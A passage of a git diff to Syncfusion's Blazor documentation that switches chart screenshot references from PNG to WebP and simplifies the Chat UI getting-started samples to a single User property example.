 
 ```
 
-![Momentum in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-momentum.png)
+![Momentum in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-momentum.webp)
 
 **Customization of Momentum Indicator**
 
@@ -801,7 +801,7 @@ The upper line's [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 
 ```
 
-![Blazor Candle Chart with Custom Momentum Indicator](images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.png)
+![Blazor Candle Chart with Custom Momentum Indicator](images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.webp)
 
 ## Moving Average Convergence Divergence (MACD)
 
@@ -926,7 +926,7 @@ Moving Average Convergence Divergence (MACD) is based on the difference between
 
 ```
 
-![Moving Average Convergence Divergence in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-macd.png)
+![Moving Average Convergence Divergence in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-macd.webp)
 
 **Customization of MACD**
 
@@ -1054,7 +1054,7 @@ The [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Chart
 
 ```
 
-![Blazor Candle Chart with Custom Moving Average Convergence Divergence](images/technical-indicator/blazor-candle-chart-custom-macd.png)
+![Blazor Candle Chart with Custom Moving Average Convergence Divergence](images/technical-indicator/blazor-candle-chart-custom-macd.webp)
 
 ## Relative Strength Index (RSI)
 
@@ -1185,7 +1185,7 @@ Relative Strength Index (RSI) shows how strongly a stock is moving in its curren
 
 ```
 
-![Relative Strength Index in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-rsi.png)
+![Relative Strength Index in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-rsi.webp)
 
 ## Simple Moving Average (SMA)
 
@@ -1428,7 +1428,7 @@ The **Width** and **Color** of upper line, lower line and period line can be cus
 
 ```
 
-![Stochastic in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-stochastic.png)
+![Stochastic in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-stochastic.webp)
 
 ## Triangular Moving Average (TMA)
 
@@ -1536,7 +1536,7 @@ Triangular Moving Average (TMA) Indicator is used to define the direction of the
 
 ```
 
-![Triangular Moving Average in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-tma.png)
+![Triangular Moving Average in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-tma.webp)
 
 **Data Source**
 
diff --git a/blazor/chart/tool-tip.md b/blazor/chart/tool-tip.md
index f498c1558a..b664f3d179 100644
--- a/blazor/chart/tool-tip.md
+++ b/blazor/chart/tool-tip.md
@@ -59,7 +59,7 @@ When space constraints prevent information from being displayed through data lab
 
 ```
 
-![Blazor Column Chart with Tooltip](images/tooltip/blazor-column-chart-tooltip.png)
+![Blazor Column Chart with Tooltip](images/tooltip/blazor-column-chart-tooltip.webp)
 
 ## Tooltip format
 
@@ -103,7 +103,7 @@ By default, The tooltip displays x and y values of a data point. In addition, fu
 
 ```
 
-![Blazor Column Chart with Tooltip Format](images/tooltip/blazor-column-chart-tooltip-format.png)
+![Blazor Column Chart with Tooltip Format](images/tooltip/blazor-column-chart-tooltip-format.webp)
 
 <!-- markdownlint-disable MD013 -->
 
@@ -159,7 +159,7 @@ Any HTML elements can be displayed within the tooltip by using the [Template](ht
 
 ```
 
-![Blazor StepLine Chart with Tooltip Template](images/tooltip/blazor-step-chart-tooltip-template.png)
+![Blazor StepLine Chart with Tooltip Template](images/tooltip/blazor-step-chart-tooltip-template.webp)
 
 ## Shared Tooltip template
 
@@ -236,7 +236,7 @@ Any HTML elements can be displayed within the tooltip by using the [Template](ht
 
 ```
 
-![Blazor StepLine Chart with Tooltip Template](images/tooltip/blazor-shared-tooltip-template.PNG)
+![Blazor StepLine Chart with Tooltip Template](images/tooltip/blazor-shared-tooltip-template.webp)
 
 ## Tooltip customization
 
@@ -282,7 +282,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartT
 
 ```
 
-![Blazor Column Chart with Custom Tooltip](images/tooltip/blazor-column-chart-custom-tooltip.png)
+![Blazor Column Chart with Custom Tooltip](images/tooltip/blazor-column-chart-custom-tooltip.webp)
 
 ## Enabling highlight for series with tooltip
 
@@ -335,7 +335,7 @@ By enabling the [EnableHighlight](https://help.syncfusion.com/cr/blazor/Syncfusi
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZretJjTJXQadkbO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart tooltip with highlight series](images/tooltip/blazor-tooltip-enable-highlight.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZretJjTJXQadkbO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart tooltip with highlight series](images/tooltip/blazor-tooltip-enable-highlight.webp)" %}
 
 ## Displaying tooltip for nearest data point
 
@@ -390,7 +390,7 @@ N> By default, `ShowNearestTooltip` property in [ChartSeries](https://help.syncf
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBoZJtzTMXtrCZt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart shows nearest tooltip](images/tooltip/blazor-chart-nearest-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBoZJtzTMXtrCZt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart shows nearest tooltip](images/tooltip/blazor-chart-nearest-tooltip.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/trend-lines.md b/blazor/chart/trend-lines.md
index 5cc835a763..781b492b53 100644
--- a/blazor/chart/trend-lines.md
+++ b/blazor/chart/trend-lines.md
@@ -70,7 +70,7 @@ A linear trendline is a best-fit straight line used with simpler data sets. To r
 
 ```
 
-![Linear Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-linear-trendlines.png)
+![Linear Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-linear-trendlines.webp)
 
 ## Exponential
 
@@ -129,7 +129,7 @@ Exponential trendline is a curved line that is most useful when data values rise
 
 ```
 
-![Exponential Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-exponential-trendlines.png)
+![Exponential Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-exponential-trendlines.webp)
 
 ## Logarithmic
 
@@ -188,7 +188,7 @@ A logarithmic trendline is a best-fit curved line that is most useful when the r
 
 ```
 
-![Logarithmic Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-logarithmic-trendlines.png)
+![Logarithmic Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-logarithmic-trendlines.webp)
 
 ## Polynomial
 
@@ -247,7 +247,7 @@ A polynomial trendline is a curved line that is used when data fluctuates. To re
 
 ```
 
-![Polynomial Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-polynomial-trendlines.png)
+![Polynomial Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-polynomial-trendlines.webp)
 
 ## Power
 
@@ -306,7 +306,7 @@ A power trendline is a curved line that is best used with data sets that compare
 
 ```
 
-![Power Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-power-trendlines.png)
+![Power Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-power-trendlines.webp)
 
 ## Moving Average
 
@@ -365,7 +365,7 @@ A moving average trendline smoothen out fluctuations in data to show a pattern o
 
 ```
 
-![Moving Average Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-moving-average-trendlines.png)
+![Moving Average Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-moving-average-trendlines.webp)
 
 ## Forecasting
 
@@ -428,7 +428,7 @@ The value set to [ForwardForecast](https://help.syncfusion.com/cr/blazor/Syncfus
 
 ```
 
-![Forward Forecasting Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.png)
+![Forward Forecasting Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.webp)
 
 ### Backward forecasting
 
@@ -487,7 +487,7 @@ The value set to [BackwardForecast](https://help.syncfusion.com/cr/blazor/Syncfu
 
 ```
 
-![Backward Forecasting Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.png)
+![Backward Forecasting Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.webp)
 
 ## Trendlines customization
 
@@ -552,7 +552,7 @@ Use the trendline [visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Bla
 
 ```
 
-![Hide Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-hide-trendlines.png)
+![Hide Trendlines in Blazor Spline Chart](images/trend-lines/blazor-spline-chart-hide-trendlines.webp)
 
 ## See also
 
diff --git a/blazor/chart/working-with-data.md b/blazor/chart/working-with-data.md
index 8812ca23a5..e0af2a4c70 100644
--- a/blazor/chart/working-with-data.md
+++ b/blazor/chart/working-with-data.md
@@ -54,7 +54,7 @@ An IEnumerable object can be assigned to the [DataSource](https://help.syncfusio
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBKCrrVgRsckQvf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Data Binding](images/working-data/blazor-chart-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBKCrrVgRsckQvf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Data Binding](images/working-data/blazor-chart-data-binding.webp)" %}
 
 N> By default, [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) uses **BlazorAdaptor** for list data-binding.
 
@@ -91,7 +91,7 @@ Chart is a generic component which is strongly bound to a model type. There are
 }
 ```
 
-![Blazor Chart with ExpandoObject Binding](images/working-data/blazor-chart-expando-object-binding.png)
+![Blazor Chart with ExpandoObject Binding](images/working-data/blazor-chart-expando-object-binding.webp)
 
 ### DynamicObject binding
 
@@ -148,7 +148,7 @@ Chart supports **DynamicObject** data source when the model type is unknown. The
 }
 ```
 
-![Blazor Chart with DynamicObject Binding](images/working-data/blazor-chart-dynamic-object.png)
+![Blazor Chart with DynamicObject Binding](images/working-data/blazor-chart-dynamic-object.webp)
 
 ## Remote data
 
@@ -172,7 +172,7 @@ Assign service data as an instance of [SfDataManager](https://help.syncfusion.co
 </SfChart>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXBAihBrgvFhnbIU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Remote Data Binding in Blazor Chart](images/working-data/blazor-chart-remote-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXBAihBrgvFhnbIU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Remote Data Binding in Blazor Chart](images/working-data/blazor-chart-remote-data-binding.webp)" %}
 
 ### Binding with OData services
 
@@ -201,7 +201,7 @@ The [WebApiAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
     </ChartSeriesCollection>
 </SfChart>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLxXVDKBZhqezPa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Web API Binding](images/working-data/blazor-chart-web-api-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLxXVDKBZhqezPa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Web API Binding](images/working-data/blazor-chart-web-api-binding.webp)" %}
 
 ### Sending additional parameters to the server
 
@@ -503,7 +503,7 @@ The [ObservableCollection](https://learn.microsoft.com/en-us/dotnet/api/system.c
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXVUiLBLAkpRpchN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Web API Binding](images/working-data/observable-collection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXVUiLBLAkpRpchN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Web API Binding](images/working-data/observable-collection.webp)" %}
 
 ## Empty points
 
@@ -602,7 +602,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartE
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLgMVhLAaIiyPBB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Empty Points](images/working-data/blazor-chart-empty-point.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLgMVhLAaIiyPBB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Empty Points](images/working-data/blazor-chart-empty-point.webp)" %}
 
 ## Handling No Data
 
diff --git a/blazor/chart/zooming.md b/blazor/chart/zooming.md
index 5308971988..c96e011063 100644
--- a/blazor/chart/zooming.md
+++ b/blazor/chart/zooming.md
@@ -62,7 +62,7 @@ The chart can be zoomed in three different ways.
 
 ```
 
-![Zooming in Blazor Column Chart](images/zoom/blazor-column-chart-zooming.png)
+![Zooming in Blazor Column Chart](images/zoom/blazor-column-chart-zooming.webp)
 
 A zooming toolbar will show after zooming the chart, featuring options for **Zoom**, **Zoom In**, **Zoom Out**, **Pan**, and **Reset**. The **Pan** option allows you to pan the chart, while the **Reset** option allows you to reset the zoomed chart.
 
@@ -112,7 +112,7 @@ There are three types of modes.
 
 ```
 
-![Horizontal Zooming in Blazor Column Chart](images/zoom/blazor-column-chart-horizontal-zooming.png)
+![Horizontal Zooming in Blazor Column Chart](images/zoom/blazor-column-chart-horizontal-zooming.webp)
 
 ## Toolbar
 
@@ -158,7 +158,7 @@ By default, zoom in, zoom out, pan, and reset buttons are available in the toolb
 
 ```
 
-![Zooming Option in Blazor Column Chart Toolbar](images/zoom/blazor-column-chart-zoom-in-toolbar.png)
+![Zooming Option in Blazor Column Chart Toolbar](images/zoom/blazor-column-chart-zoom-in-toolbar.webp)
 
 ### Toolbar display mode
 
@@ -199,7 +199,7 @@ By default, the zooming toolbar appears only when the chart is zoomed. However,
 }
 ```
 
-![Toolbar displayed during the initial load](images/zoom/blazor-column-chart-zoom-toolbar-displaymode.png)
+![Toolbar displayed during the initial load](images/zoom/blazor-column-chart-zoom-toolbar-displaymode.webp)
 
 ### Toolbar positioning
 
@@ -242,7 +242,7 @@ The zoom toolbar in the chart can be repositioned using the [ChartZoomToolbarPos
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXroZHVnTUnzfkob?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Zooming Toolbar Positioning](./images/zoom/blazor-line-chart-zoom-toolbar-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXroZHVnTUnzfkob?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Zooming Toolbar Positioning](./images/zoom/blazor-line-chart-zoom-toolbar-position.webp)" %}
 
 ## Enable pan
 
@@ -284,7 +284,7 @@ The [EnablePan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.C
 
 ```
 
-![Zooming with Pan in Blazor Column Chart Toolbar](images/zoom/blazor-column-chart-zoom-pan.png)
+![Zooming with Pan in Blazor Column Chart Toolbar](images/zoom/blazor-column-chart-zoom-pan.webp)
 
 ## Scrollbar
 
@@ -353,7 +353,7 @@ The [EnableScrollbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-![Zooming with Scrollbar in Blazor Area Chart](images/zoom/blazor-area-chart-zoom-with-scrollbar.png)
+![Zooming with Scrollbar in Blazor Area Chart](images/zoom/blazor-area-chart-zoom-with-scrollbar.webp)
 
 ### Scrollbar positioning
 
@@ -416,7 +416,7 @@ The [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Ch
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNryXRBRpKfeaJfn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with customized scrollbar position](./images/zoom/blazor-line-chart-scroll-bar-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNryXRBRpKfeaJfn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with customized scrollbar position](./images/zoom/blazor-line-chart-scroll-bar-position.webp)" %}
 
 ### Customization
 
@@ -476,7 +476,7 @@ Scrollbar appearance and behavior are customizable using [ChartAxisScrollbarSett
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBSXaDvCHkxWpZV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Area Chart with scrollbar customization](images/zoom/blazor-area-chart-scroll-bar-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBSXaDvCHkxWpZV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Area Chart with scrollbar customization](images/zoom/blazor-area-chart-scroll-bar-customization.webp)" %}
 
 ## Auto interval on zooming
 
@@ -541,7 +541,7 @@ The axis interval will be calculated automatically with respect to the zoomed ra
 
 ```
 
-![Auto Interval on Zooming in Blazor Area Chart](images/zoom/blazor-area-chart-auto-interval-zooming.png)
+![Auto Interval on Zooming in Blazor Area Chart](images/zoom/blazor-area-chart-auto-interval-zooming.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chat-ui/getting-started-webapp.md b/blazor/chat-ui/getting-started-webapp.md
index 03d1464465..7dca0da02c 100644
--- a/blazor/chat-ui/getting-started-webapp.md
+++ b/blazor/chat-ui/getting-started-webapp.md
@@ -158,57 +158,34 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI Component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly`, or `InteractiveAuto`). Use the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to define the current user.
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveAuto
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<div style="height: 400px; width: 400px;">
-    <SfChatUI></SfChatUI>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI Component](./images/chat-ui-component.webp)" %}
-
-## Configure Messages and User
-
-Use the [Messages](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_Messages) property to populate the chat with an initial set of messages and the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to define the current user.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.InteractiveChat
 
 <div style="height: 400px; width: 400px;">
-    <SfChatUI ID="chatUser" User="CurrentUserModel" Messages="ChatUserMessages"></SfChatUI>
+    <SfChatUI User="CurrentUserModel"></SfChatUI>
 </div>
 
 @code {
-    private static UserModel CurrentUserModel = new UserModel() { ID = "User1", User = "Albert" };
-    private static UserModel MichaleUserModel = new UserModel() { ID = "User2", User = "Michale Suyama" };
-
-    private List<ChatMessage> ChatUserMessages = new List<ChatMessage>()
-    {
-        new ChatMessage() { Text = "Want to get coffee tomorrow?", Author = CurrentUserModel },
-        new ChatMessage() { Text = "Sure! What time?", Author = MichaleUserModel },
-        new ChatMessage() { Text = "How about 10 AM?", Author = CurrentUserModel }
-    };
+private static UserModel CurrentUserModel = new UserModel()
+{
+ID = "User1",
+User = "Albert"
+};
 }
 
 {% endhighlight %}
 {% endtabs %}
- 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLfWBixUbETBpmk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI default prompt](./images/default-messages.webp)" %}
+
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Chat UI component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor Chat UI Component](./images/chat-ui-component.webp)" %}
+
diff --git a/blazor/chat-ui/getting-started-with-server-app.md b/blazor/chat-ui/getting-started-with-server-app.md
index b6b47193e9..adf83c0b6b 100644
--- a/blazor/chat-ui/getting-started-with-server-app.md
+++ b/blazor/chat-ui/getting-started-with-server-app.md
@@ -145,57 +145,34 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file. Use the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to define the current user.
 
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveServer
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<div style="height: 400px; width: 400px;">
-    <SfChatUI></SfChatUI>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI Component](./images/chat-ui-component.webp)" %}
-
-## Configure Messages and User
-
-Use the [Messages](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_Messages) property to populate the chat with an initial set of messages and the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to define the current user.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.InteractiveChat
 
 <div style="height: 400px; width: 400px;">
-    <SfChatUI ID="chatUser" User="CurrentUserModel" Messages="ChatUserMessages"></SfChatUI>
+    <SfChatUI User="CurrentUserModel"></SfChatUI>
 </div>
 
 @code {
-    private static UserModel CurrentUserModel = new UserModel() { ID = "User1", User = "Albert" };
-    private static UserModel MichaleUserModel = new UserModel() { ID = "User2", User = "Michale Suyama" };
-
-    private List<ChatMessage> ChatUserMessages = new List<ChatMessage>()
-    {
-        new ChatMessage() { Text = "Want to get coffee tomorrow?", Author = CurrentUserModel },
-        new ChatMessage() { Text = "Sure! What time?", Author = MichaleUserModel },
-        new ChatMessage() { Text = "How about 10 AM?", Author = CurrentUserModel }
-    };
+private static UserModel CurrentUserModel = new UserModel()
+{
+ID = "User1",
+User = "Albert"
+};
 }
 
 {% endhighlight %}
 {% endtabs %}
- 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLfWBixUbETBpmk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI default prompt](./images/default-messages.webp)" %}
+
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Chat UI component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor Chat UI Component](./images/chat-ui-component.webp)" %}
+
diff --git a/blazor/chat-ui/getting-started.md b/blazor/chat-ui/getting-started.md
index cdedab97d4..5894b4b2e7 100644
--- a/blazor/chat-ui/getting-started.md
+++ b/blazor/chat-ui/getting-started.md
@@ -142,7 +142,7 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in the **~/Pages/Index.razor** file. Use the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to configure the current user for the chat component.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -150,43 +150,22 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI componen
 @using Syncfusion.Blazor.InteractiveChat
 
 <div style="height: 400px; width: 400px;">
-    <SfChatUI></SfChatUI>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chat UI component in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI Component.](images/chat-ui-component.webp)" %}
-
-## Configure messages and user
-
-You can use the [Messages](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_Messages) property to add messages and the [User](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfChatUI.html#Syncfusion_Blazor_InteractiveChat_SfChatUI_User) property to configure the current user for the chat.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.InteractiveChat
-
-<div style="height: 400px; width: 400px;">
-    <SfChatUI ID="chatUser" User="CurrentUserModel" Messages="ChatUserMessages"></SfChatUI>
+    <SfChatUI User="CurrentUserModel"></SfChatUI>
 </div>
 
 @code {
-    private static UserModel CurrentUserModel = new UserModel() { ID = "User1", User = "Albert" };
-    private static UserModel MichaleUserModel = new UserModel() { ID = "User2", User = "Michale Suyama" };
-
-    private List<ChatMessage> ChatUserMessages = new List<ChatMessage>()
-    {
-        new ChatMessage() { Text = "Want to get coffee tomorrow?", Author = CurrentUserModel },
-        new ChatMessage() { Text = "Sure! What time?", Author = MichaleUserModel },
-        new ChatMessage() { Text = "How about 10 AM?", Author = CurrentUserModel }
-    };
+private static UserModel CurrentUserModel = new UserModel()
+{
+ID = "User1",
+User = "Albert"
+};
 }
 
